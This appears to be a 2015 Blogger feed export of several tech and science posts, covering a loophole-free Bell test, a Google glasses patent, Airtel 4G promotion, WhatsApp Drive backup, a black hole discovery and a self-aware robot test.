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For now the early results of this new research has been posted at the arXiv, and authors write: "Our experiment realizes the first Bell test that simultaneously addresses both the detection loophole and the locality loophole." The experiment is now being screened for publication in a science journal for peer review.</div>
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While speaking to Jacob Aron over at<em> New Scientist</em>, Anton Zeilinger, leader of a rival team at the University of Vienna, Austria and not a part of the research team told: "It’s a very nice and beautiful experiment, and one can only congratulate the group for that. I expect they have improved the experiment, and by the time it is published they’ll have better data ... There is no doubt it will with stand scrutiny."</div>
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<strong>Quantum Cryptography: </strong></h2>
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One of the other goals as to why physicists have been constantly working on conducting a "loophole-free" Bell experiment is because this will be a huge step in the direction of 'Quantum cryptography'.</div>
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<em>Quantum Cryptography: </em>Chris Monroe, an experimental quantum physicists at the Joint Quantum Institute in Maryland says that the a loophole-free Bell test can be used for a <strong>new kind of communications network</strong> or we can say <strong>'quantum version' of the internet.</strong></div>
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When entangled particles are sent over internet it would be <strong>protected against hackers and even eavesdropper</strong> will not be able to tap any information, further if anyone tries to even eavesdrop it will not go unnoticed.</div>
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"The security of the information is guaranteed by the fundamental laws of physics," says Monroe.</div>
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According to the report by Devin Powell at Popular Science, Dutch scientists, Hensen et al at the Delft University of Technology used two diamond chips for conducting this loophole free experiment.</div>
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Powell writes: "Whether such un-hackable internet networks, if ever developed, will need to be made of diamond remains to be seen. During its nine-day run, Hensen’s glittering contraption popped out a mere 245 pairs of entangled particles. A commercially viable system would need to spit out thousands or more a minute.With only 245 events, statistics dictates a four percent chance that the result was due to chance, meaning that Bell’s threshold may not have actually been crossed."</div>
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On the contrary, Paul Kwiat, an an experimental quantum physicist who works with photons and is also in the race at the University of Illinois at Urbana-Champaign says: "In other words, there’s a 96 percent chance that they won the race. The nail’s not very deep in the coffin, and I’m certain that before long there will be results that have a much lower statistical uncertainty."</div>
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Well, it goes without saying that such an un-hackable internet is the need of the hour, in today's world where internet plays a very important and literally has become part and parcel of everyone's lives. Thus it seems Hensen et al has finally nailed the issue of hacking and at the same time proved the existence of Quantum spookiness with a loophole-free experiment.</div>
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After this week's buzz regarding Stephen Hawking's black hole theory, it is the turn of "Quantum spookiness" to be in the spotlight and seek attention from all the lovers of physics.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-39466064069523651742015-09-11T14:52:00.002+05:302015-09-11T14:53:19.517+05:30Google's newest patent is a massive boon for anyone who wears glasses<div dir="ltr" style="text-align: left;" trbidi="on">
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Glasses do not have a habit of holding themselves. It is a never ending game of cat-and-mouse as you have to push the glasses back when they slide down your nose and then again push them back. It's get more severe when you are doing a remotely active activity like running. However, soon all the continuous adjustments may be put to an end by a new patent from Google.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH8QpNVjGDTTXJfZbG9yiyWWElwvL47tN0WQ-pdtDS9BRqJSsuFAopU_Y1EFLB1jifGnBR7TNIT-KoOzSGGUsHYA42d6iyWKkqinWVAVF4h6Bu4JOK-3U5z0AyrVFDLKDS3XJ9tVfmjOOL/s1600/adjustable+glasses.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Google's newest patent is a massive boon for anyone who wears glasses" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH8QpNVjGDTTXJfZbG9yiyWWElwvL47tN0WQ-pdtDS9BRqJSsuFAopU_Y1EFLB1jifGnBR7TNIT-KoOzSGGUsHYA42d6iyWKkqinWVAVF4h6Bu4JOK-3U5z0AyrVFDLKDS3XJ9tVfmjOOL/s1600/adjustable+glasses.jpg" title="Google's newest patent is a massive boon for anyone who wears glasses" /></a></div>
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On September 8, Google was <a data-mce-href="http://pdfpiw.uspto.gov/.piw?PageNum=0&docid=09128283&IDKey=9BFC36F8216A%0D%0A&HomeUrl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO2%2526Sect2%3DHITOFF%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsearch-adv.htm%2526r%3D56%2526f%3DG%2526l%3D50%2526d%3DPTXT%2526s1%3DGoogle.ASNM.%2526p%3D2%2526OS%3DAN%2FGoogle%2526RS%3DAN%2FGoogle" href="http://pdfpiw.uspto.gov/.piw?PageNum=0&docid=09128283&IDKey=9BFC36F8216A%0D%0A&HomeUrl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO2%2526Sect2%3DHITOFF%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsearch-adv.htm%2526r%3D56%2526f%3DG%2526l%3D50%2526d%3DPTXT%2526s1%3DGoogle.ASNM.%2526p%3D2%2526OS%3DAN%2FGoogle%2526RS%3DAN%2FGoogle" target="_blank">awarded a patent</a> that plants a system into a wearable device like Google Glass, that would make use of motors and motion detectors to tighten or loosen the glasses’ arms automatically based on what the wearer is doing.</div>
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The new glasses would have an actuator in Google's concept, which is nothing but a small motor to manage the movements in each arm that could bend the arms in or out as required. For example, when the wearer is running up and down at an increased rate, the glasses on detecting this would bend the arms inwards in order to firmly hold the wearer’s head.</div>
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<img alt="Google patents dynamically adjustable frame for looking glasses to hold them onto place" class="aligncenter" data-mce-src="https://qzprod.files.wordpress.com/2015/09/colorcorrected-77.jpeg?quality=80&strip=all&w=640" height="390" src="https://qzprod.files.wordpress.com/2015/09/colorcorrected-77.jpeg?quality=80&strip=all&w=640" style="display: block; height: auto; margin-left: auto; margin-right: auto; max-width: 100%;" title="Google patents dynamically adjustable frame for looking glasses to hold them onto place" width="640" /></div>
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This could be a huge blessing in disguise for athletes who due to the fear of breaking their glasses do not wear them when active, or the current alternative may make them look like bug. It is almost certainly a life saving solution and an improvement over other potential options.</div>
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The one-size-fits-all approach could also be solved by the actuators. For example, many glasses have to be fitted if they are too wide for someone’s face. In such a scenario, the glasses could be automatically resized by the actuators so that they could fit comfortably.</div>
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It is reported that the next version of Google Glass may be released in 2016, even though it will have few updates over the original Explorer addition and would just be for business customers. Speaking to <a data-mce-href="http://qz.com/497363/t/261520/" href="http://qz.com/497363/t/261520/" target="_blank">Quartz</a>, a Google spokesperson told that there is no assurance that Google may be looking to put this particular patent in Glass, as only few patents turn into products, and the remaining don’t.</div>
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However, if the company does decide to develop this technology for Glass or even better, regular eyeglasses, it could the level of clarity for the short-sighted everywhere to a different level altogether.</div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-36453445753625136602015-08-21T12:49:00.002+05:302015-08-21T12:49:40.009+05:30Airtel 4G: Enjoy super-fast, hassle-free Airtel 4G network at the cost of 3G<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Airtel 4G, the fastest
network ever has been launched officially in India, join the network now to
receive a free 4G SIM.<o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">In today’s world people
want everything to be happening at a lightning speed and metaphorically we can
just say that humans are running faster than light!<o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">But that’s absolutely true, we seem to want everything in a matter of few seconds. <o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Today a pizza gets
delivered at our doorstep in less than 30 minutes and humans are becoming more
and more demanding with each day.<o:p></o:p></span><br />
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi7F6EzAvw_t8SPmS6qVkfxZ7ViaBd-63byGshQH9tmlrP6b8ymBW7SYENtEvLP9VdNbC945vle-I8h1aRX5GckhEemOyGDPV2t2nlV5EBTJd4AVhO9zbQTdXHluR2Q7p29K5wiMaPxQ7F/s1600/airtel+4g1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Airtel 4G: Enjoy super-fast, hassle-free Airtel 4G network at the cost of 3G" border="0" height="211" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi7F6EzAvw_t8SPmS6qVkfxZ7ViaBd-63byGshQH9tmlrP6b8ymBW7SYENtEvLP9VdNbC945vle-I8h1aRX5GckhEemOyGDPV2t2nlV5EBTJd4AVhO9zbQTdXHluR2Q7p29K5wiMaPxQ7F/s400/airtel+4g1.jpg" title="Airtel 4G: Enjoy super-fast, hassle-free Airtel 4G network at the cost of 3G" width="400" /></a></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">It seems we have lost
our patience and especially the younger generation are getting used to having
things at a just a click. Same holds true with me too, being an Internet
hoarder, life without internet and my Smartphone is just unimaginable. In
addition I am a blogger and hence I constantly need to check the important updates
that happen on this front too.</span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Now the hitch here is I
seem to be losing on essential updates and news due to my slow internet. At
times the reason could be as funny as out of coverage area as I am on the move.
Definitely, you can imagine how annoying it could be as you feel totally
handicapped due to loss of connectivity. It is under these scenarios that I
really want to stay home and get the benefit of my WiFi.<o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Though my phone supports
a 3G network, it is not meeting my needs. I am in need of a hassle free
Internet and it is one of the top most priority on my list which would give me
immense happiness. Yes, you can say humans are never satisfied and they always
want more!<o:p></o:p></span></div>
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<b><span style="font-family: 'Times New Roman', serif; font-size: 13.5pt; line-height: 115%;">Airtel 4G: first telecom
operator to roll out 4G services in India<o:p></o:p></span></b></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Now, it seems Airtel has
really answered my prayers and has launched 4G network in India. Airtel is the
first telecom operator to roll out the 4G services and this is really making me
so happy that I just want to go dancing in joy and celebrate this great moment.
<o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">During a press release
Airtel made a statement that: “Airtel 4G is available to customers across a
range of smart devices including mobile phones, dongles, 4G hotspots and Wi-Fi
dongles.”<o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">I had always craved for
a lightning fast internet and hence as soon as the 4G compatible smartphone was
launched in the market I had picked it up. However, till now was using a 3G
network on this high tech gadget of mine, but at last my wait is over.<o:p></o:p></span></div>
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<b><span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Commercial launch of 4G services in 296 Indian cities<o:p></o:p></span></b></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">It was in April 2012,
that Bharti Airtel had launched its first 4G services in Kolkata. <o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Earlier this month it
officially announced the commercial launch of 4G services in 296 towns across
India after it had successfully tested the market in some select cities. <o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">With Airtel’s 4G network
which is the fastest ever I just cannot wait to experience it in my phone now. <o:p></o:p></span></div>
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<b><span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">4G services offered at the rate of 3G:<o:p></o:p></span></b></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">During its nationwide
launch, Airtel also made an announcement that it would offer the super-fast,
hassle-free 4G services at that rate of 3G, how awesome is that? Definitely
need to thank Airtel for being so thoughtful, isn’t it?<o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Thus one can opt for the
4G data packs at a starting cost of mere Rs 25. Well, not at all expensive and
all the more you are able to enjoy the fastest network, does that sound amazing!<o:p></o:p></span></div>
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<b><span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">4G SIM swap brings more offers:<o:p></o:p></span></b></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Airtel has also promised
its customers that for every 4G SIM swap they would get six months of unlimited
music streaming and downloads on ‘Wynk Music’ along with five free movies per
month for another six months on the Eros Now Channel of the ‘Wynk Movies’. <o:p></o:p></span></div>
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<br /></div>
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<b><span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Your “free” 4G SIM card is just a tweet away which will be delivered
at your home for free of cost:<o:p></o:p></span></b></div>
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<br /></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Fabulous, you can now
get your 4G SIM card right at your doorstep. You just need to ensure that you have
a 4G compatible phone. <o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;"><br /></span>
<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">All you need to do is
request for a SIM on their <a href="http://www.airtel.in/4g/" target="_blank">specially created website for 4G/LTE</a> and you will get your 4G SIM with a 3G data pack.<o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt; line-height: 115%;"><br /></span>
<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt; line-height: 115%;">Alternatively you can also tweet on Twitter
using your 4G handset using #<b>GetAirtel4G
</b>and you will receive your Airtel 4G SIM for free of cost. Once you tweet,
you get a reply from <b>@AirtelIndia </b>which
has a link in which you need to fill your personal details such as address and
in just four hours Airtel will send the 4G SIM to your place!<o:p></o:p></span></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt; line-height: 115%;"><br /></span></div>
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<b><span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Airtel 4G Television Challenge:<o:p></o:p></span></b></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Airtel’s latest
television challenge is mindboggling. And just looking at it makes me to have
it in my phone and enjoy the fastest ever network. Airtel has put up an open
challenge and if anyone feels their network is faster than Airtel, it assures them
it would pay their phone bills for a lifetime!<o:p></o:p></span></div>
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<br /></div>
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<br /></div>
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<span style="font-family: 'Times New Roman', serif; font-size: 13.5pt;">Well, Bharti Airtel has
launched its 4G much ahead of Reliance Industries Ltd which plans to start its
4G services in India somewhere this December. So guys what are you waiting for grab your Airtel 4G SIM now and start enjoying the superfast internet on your 4G compatible handsets!</span></div>
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Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-5039925715430678492015-08-18T11:28:00.001+05:302015-08-18T11:28:24.726+05:30WhatsApp update v2.12.228 Beta saves users’ messages to Google Drive<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="color: #333333; font-family: Georgia, 'Times New Roman', 'Bitstream Charter', Times, serif; font-size: 16px; line-height: 24px;">
The new WhatsApp v2.12.228 Beta APK is available for download available for your Android smartphones and tablets. The new update allows you to save your messages including images and videos to Google Drive.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsIMKM0E2q9rw1Pp61nRKqwNfwa-4i2zWjclHVhELgazKBdtQ0UHFOLJLMBgc6VhBuLhVU6WRpSqhPR4u_rILY6ly2iaFpDJVhPbhQvw7tn0WbgLZzWLJps5cxe8C8cKg-Ir5ImbkhNN_4/s1600/Whatsapp.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="WhatsApp update v2.12.228 Beta saves users’ messages to Google Drive" border="0" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsIMKM0E2q9rw1Pp61nRKqwNfwa-4i2zWjclHVhELgazKBdtQ0UHFOLJLMBgc6VhBuLhVU6WRpSqhPR4u_rILY6ly2iaFpDJVhPbhQvw7tn0WbgLZzWLJps5cxe8C8cKg-Ir5ImbkhNN_4/s320/Whatsapp.jpg" title="WhatsApp update v2.12.228 Beta saves users’ messages to Google Drive" width="320" /></a></div>
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Since this is a beta version it has some bugs like a freakish one which makes Google Drive to disappear suddenly. It also means that this beta version and be downloaded only in APK form from WhatsApp website since it hasn’t yet been released to the Google Play Store.</div>
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Moreover there seems to conflicting reports about the version number. Neurogadget states the new version as <a class="external" data-mce-href="http://neurogadget.com/2015/08/15/whatsapp-2-12-232-download-available-google-drive-features-and-bug-fixes/12537" href="http://neurogadget.com/2015/08/15/whatsapp-2-12-232-download-available-google-drive-features-and-bug-fixes/12537" target="_blank">WhatsApp 2.12.231 BETA</a> for Android, while FitnHit calls <a class="external" data-mce-href="http://fitnhit.com/technology/whatsapp-download-2-12-228-apk-android-top-improvements/29001/" href="http://fitnhit.com/technology/whatsapp-download-2-12-228-apk-android-top-improvements/29001/" target="_blank">WhatsApp 2.12.228 APK</a>.</div>
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A major problem with WhatsApp was that if the users smartphone was lost/stolen or became unusable, he/she could lose out on all important conversations as well as images and videos. This new feature allows users to save their messages and content onto Google Drive. Thus, in case of loss or theft, the user can download his old messages in your new smartphone, without losing all the content.</div>
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Users can backup their messages to the cloud by going to WhatsApp’s Settings > Chat and Calls > Chat Backup and then tap the “Backup” button. The user will then have to give permission for WhatsApp and Google Drive to backup the contents of the message onto the cloud.</div>
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<img alt="WhatsApp v2.12.228 Beta APK available for download, saves messages, images, video to Google Drive" class="aligncenter" data-mce-src="http://www.theindiantalks.com/wp-content/uploads/2015/08/whatsapp-google-drive-again-02.jpg" height="530" src="http://www.theindiantalks.com/wp-content/uploads/2015/08/whatsapp-google-drive-again-02.jpg" style="display: block; margin-left: auto; margin-right: auto;" title="WhatsApp v2.12.228 Beta APK available for download, saves messages, images, video to Google Drive" width="600" /></div>
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Apart from this, the backup in Google Drive lets you choose the time and the method of syncing with it.</div>
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<img alt="WhatsApp v2.12.228 Beta APK available for download, saves messages, images, video to Google Drive" class="aligncenter" data-mce-src="http://www.theindiantalks.com/wp-content/uploads/2015/08/whatsapp-google-drive-again-03.jpg" height="530" src="http://www.theindiantalks.com/wp-content/uploads/2015/08/whatsapp-google-drive-again-03.jpg" style="display: block; margin-left: auto; margin-right: auto;" title="WhatsApp v2.12.228 Beta APK available for download, saves messages, images, video to Google Drive" width="600" /></div>
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By default storing of user messages are automatically programmed to 03:00 hours in the </div>
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morning.</div>
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<br /></div>
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The WhatsApp APK can be downloaded <a href="https://www.whatsapp.com/download/" target="_blank">here</a>.</div>
</div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com6tag:blogger.com,1999:blog-1778979857251896130.post-59211581843239335802015-08-09T19:20:00.002+05:302015-08-09T19:22:51.905+05:30#ColgateMagicalStories 8 year old Aaditya weaving a Castle from a Colgate Pack<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Building castles is never easy but that is not what Aaditya thinks. He wants to be a inventor, gamer and also wants to play a lot of video games.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">But above all he want to be a YouTuber. He is 8 years old and has real passion for games. </span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Here he is building a castle with the Special Colgate pack. He loves castles, kings and dragons. His favourite movie is How to Train Your Dragon. </span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Watch him build a castle in the video below : </span></div>
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<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/JrqVGEq0fIE" width="560"></iframe><br />
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<iframe allowfullscreen="" frameborder="0" height="315" src="https://www.youtube.com/embed/jaggbCMBuwM?list=PL-vH2YzgKy4qwD631ivUNQekp31BJXjiZ" width="560"></iframe></div>
Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-34956367685510736102015-08-04T12:32:00.000+05:302015-08-04T12:32:00.567+05:30Yale Astronomers have discovered an enormous black hole that outgrew its galaxy<div dir="ltr" style="text-align: left;" trbidi="on">
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<span style="font-size: large;">Astronomers at the Yale University have discovered an enormous black hole in the early universe which outgrew its galaxy and challenges the theory of galactic evolution.</span></h3>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Until now the observation about black holes suggested that they are massive areas of space with an extremely strong gravity which can pull in anything including light. It was also observed that in most cases, the rate at which the black holes and their host galaxies expand is more or less the same. The recent discovery however proves to be contradictory to all these earlier observations about black holes.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0iEJd6ciXTa6VFtQiLPaWI9Q3wshoP8kpCRgjiHnoWYoT_OV6TqCeWECNv63l-qT-BTAEgwftVW5oDlBgwiuGME8dGLVl4m7ukzANQKPV6HySZFg6n3rNWOwvBMZCMeF-2DhIAgHJCQNX/s1600/Blackhole.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Astronomers at the Yale University have discovered an enormous black hole in the early universe which outgrew its galaxy and challenges the theory of galactic evolution." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0iEJd6ciXTa6VFtQiLPaWI9Q3wshoP8kpCRgjiHnoWYoT_OV6TqCeWECNv63l-qT-BTAEgwftVW5oDlBgwiuGME8dGLVl4m7ukzANQKPV6HySZFg6n3rNWOwvBMZCMeF-2DhIAgHJCQNX/s1600/Blackhole.jpg" title="Astronomers at the Yale University have discovered an enormous black hole in the early universe which outgrew its galaxy and challenges the theory of galactic evolution." /></a></div>
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<span style="font-size: large;">This particular black hole is believed to have been formed roughly two billion years after the Big Bang. An international research group comprising of astronomers from Yale University, ETH Zurich, the Max-Planck Institute in Germany, Harvard University, the University of Hawaii, INAF-Osservatorio Astronomico di Roma, and Oxford University made this discovery when they were mapping the growth of super-massive black holes across cosmic time.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">The ancient black hole discovered by the astronomers is comparatively the largest ever found till date. Astronomers believe this black hole is extremely large and more than 7 billion Solar masses (a solar mass is equivalent to the mass of our Sun), another striking feature of this black hole is that the galaxy which surrounds it is only moderately sized, this observation contradicts the theory that larger black holes results into larger galaxies.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">This particular black hole is placed at the heart of the galaxy CID-947 and in addition it is so huge that it accounts for about 10% of the total mass of the entire galaxy. The author of the study has claimed in the research paper that it was actually surprising to find a 10% figure and hence the mass of CID-947 was re-measured in a different way, however the result was same. The findings of this study has been published in the July 10 edition of journal Science.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Lead author, Benny Trakhtenbrot, a researcher at ETH Zurich’s Institute for Astronomy says: "The measurements correspond to the mass of a typical galaxy. We therefore have a gigantic black hole within a normal-size galaxy."</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Till now researchers have always thought that the size of the galaxy's core and the actual size of the galaxy that surrounds the core has a direct relation in the formation and evolution of galaxies. Further, it is also believed that a lot of heat and radiation gets released during the formation of a black hole and this blocks the formation of stars, thus researchers always thought there is some co-relation between galaxies and their singularities. Presently, researchers believe that most of the galaxies do have black holes at their core.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">However, the study of this black hole suggested that not only does the black hole has a very low accretion rate (meaning it is done growing and hence there is low accumulation), but the galaxy surrounding the black hole is still making new stars indicating that the galaxy could further continue to grow. </span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">CID-947 could be a precursor of the most extreme, enormous systems observed in the current local universe, such as the galaxy NGC 1277 in the Perseus constellation that is 220 million light years from the Milky Way. This contradicts the idea that fully formed black holes usually tend to emit too many radio-wave emitting particles which then leads to stop the formation of stars; this is one of the explanation derived by scientists after observing that galaxies which have fully developed black holes at their center tend to cease the formation of new stars.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Researchers used Multi-object Spectrograph for Infrared Exploration (MOSFIRE) camera, that focused into space from the W.M. Keck Observatory atop Mauna Kea, Hawaii, for their findings. MOSFIRE is one of the world's most sensitive near-infrared spectrograph. This brilliant device provided researchers with some in depth details of this galaxy from 11 billion light years away.</span></div>
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<span style="font-size: large;">C. Megan Urry, Yale’s Israel Munson Professor of Astrophysics and co-author of the study along with her research team have given credit to the W.M. Keck Observatory in Hawaii and the Chandra COSMOS legacy survey which have been of great help in this study. Urry said: "The sensitivity and versatility of Keck’s new infrared spectrometer, MOSFIRE, was critical to this discovery."</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">Other co-authors of the paper include Francesca Civano, an associate research scientist at Yale; David Rosario, of the Max-Planck Institute; Martin Elvis, of Harvard; Kevin Schawinski, of ETH Zurich and a former Einstein Fellow at Yale; Hyewon Suh, of Harvard; Angela Bongiorno, of INAF-Osservatorio Astronomico di Roma; and Brooke Simmons, of Oxford and a former graduate student at Yale.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">It is difficult to test the theory of galactic evolution as it is a very slow process and further quite difficult for astronomers to view the galaxies in their earliest stages because the Universe has existed for a very long time. Researchers ultimately believe that the existing theories are incomplete and they also feel that the fundamental aspects of cosmology might have worked differently towards the early stages of universe.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">Urry, said: "Our survey was designed to observe the average objects, not the exotic ones. This project specifically targeted moderate black holes that inhabit typical galaxies today. It was quite a shock to see such a ginormous black hole in such a deep field."</span></div>
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Comboupdateshttp://www.blogger.com/profile/06345964411593528884noreply@blogger.com0tag:blogger.com,1999:blog-1778979857251896130.post-75291590759083191112015-08-03T12:23:00.000+05:302015-08-03T12:23:00.067+05:30A robot in New York has just passed a classic self-awareness test called the “wise men puzzle” for the first time<div dir="ltr" style="text-align: left;" trbidi="on">
<h2 style="text-align: justify;">
<span style="font-size: large;">One of the three Nao robots that participated in the assessment has managed to solve the </span><span style="text-align: left;"><span style="font-size: large;">“wise men puzzle”</span></span></h2>
<div style="text-align: justify;">
<span style="font-size: large;">A researcher at Ransselaer Polytechnic Institute in the US has given three Nao robots an updated version of the classic 'wise men puzzle' self-awareness test and one of them has managed to solve.</span></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwu4S-DJ9rPQynRFUTC7dXlZ5nNkqVDsK1KNEFf9iShL91S5XZmQjzOxMrKQ5OYkvSWTpru_zS91Jg_IkzXY2yw89jF_T-LbUIa8YmJiO7Yn8Mg1kC1YzTA6G6fgB8rGiKxvX45rEMV4W0/s1600/iRobot.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="One of the three Nao robots that participated in the assessment has managed to solve the “wise men puzzle”" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwu4S-DJ9rPQynRFUTC7dXlZ5nNkqVDsK1KNEFf9iShL91S5XZmQjzOxMrKQ5OYkvSWTpru_zS91Jg_IkzXY2yw89jF_T-LbUIa8YmJiO7Yn8Mg1kC1YzTA6G6fgB8rGiKxvX45rEMV4W0/s1600/iRobot.jpg" title="One of the three Nao robots that participated in the assessment has managed to solve the “wise men puzzle”" /></a></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">A King invites the three wisest men in the country to participate in the challenge for the position of the King’s advisor. He tells them that he will put either a white or a blue hat on their heads and informs them that at least one of these hats will be blue. There are no mirrors in the room and the wise men are not allowed to talk to each other, so they can’t see the color of their own hats but are able to see each other’s hats. The task is to work out the color of the hat they are wearing using the given information.</span></div>
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<span style="font-size: large;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-size: large;">I don’t know if you managed to find the solution, but one of the three Nao robots that participated in the test certainly did. Of course, it was an adapted version of the puzzle, customized to artificial intelligence and its limitations.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">The robots were told that two of them had been given a “dumbing pill” that rendered them unable to speak (in fact, they simply had their volume switch turned off) while the third robot had been given a “placebo”. Then the tester asked them which pill they had received. As a result, only one of the robots was able to make a noise saying: “I don’t know,” since the other two were silent. Having heard its own voice, it figured out that it was the one that had received the placebo and put its hand up, saying: “Sorry, I know now. I was able to prove that I was not given a dumbing pill.”</span></div>
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<span style="font-size: large;">You may think that it’s not the hardest puzzle to solve, but, in reality, it’s extremely difficult for robots. Apart from listening and understanding (which many robots are able to do), they need to hear their own voice and distinguish it from others. Moreover, they need to work out the answer based on the fact of hearing their voice.</span></div>
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<span style="font-size: large;">Self-aware robots may sound like a scary thing, but the researchers who conducted this test see the results in the positive light.</span></div>
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<span style="font-size: large;">Team Leader Selmer Bringsjord of Rensselaer Polytechnic Institute in New York, who ran the test, says that by passing many tests of this kind – however narrow – robots will build up a repertoire of abilities that start to become useful. Instead of worrying over whether machines can ever be conscious like humans, he aims to reveal specific, limited examples of consciousness.</span></div>
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<span style="font-size: large;">John Sullins, a philosopher of technology at Sonoma State University says “They try to find some interesting philosophical problem, then engineer a robot that can solve that problem. “They’re barking up the right tree.”</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">As an alternative, the robots have been programmed to be self-conscious in a specific situation. But it's still an important step towards creating robots that understand their role in society, which will be crucial to turning them into more useful citizens. "We’re talking about a logical and a mathematical correlate to self-consciousness, and we’re saying that we’re making progress on that," Bringsjord told Jordan Pearson at Motherboard.</span></div>
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<span style="font-size: large;"><br /></span></div>
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<span style="font-size: large;">At the same time, it should be noted that the test was rather limited, so the results only indicate that the robots were self-aware in a specific situation. Just like with the computer that passed the Turing test last year pretending to be a 13-year-old boy, the results are not definite but are quite promising for the development of smarter robots.</span></div>
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<span style="font-size: large;">The work, which will be presented at the RO-MAN conference in Kobe, Japan, next month, highlights the gloomy waters of artificial consciousness. The wise-men test requires some very human traits.</span></div>
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<span style="font-size: large;">In any case, artificial intelligence at this stage is very far away from being truly self-conscious and human-like. The reason is that robots just can’t handle the volume of information that the human brain can process. But who knows where the future advancements in technology and robotics could lead us.</span></div>
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<span style="font-size: large;">Bringsjord says one reason robots can’t have broader consciousness is that they just can’t crunch enough data. Even though cameras can capture more data about a scene than the human eye, roboticists are at a loss as to how to stitch all that information together to build a cohesive picture of the world.</span></div>
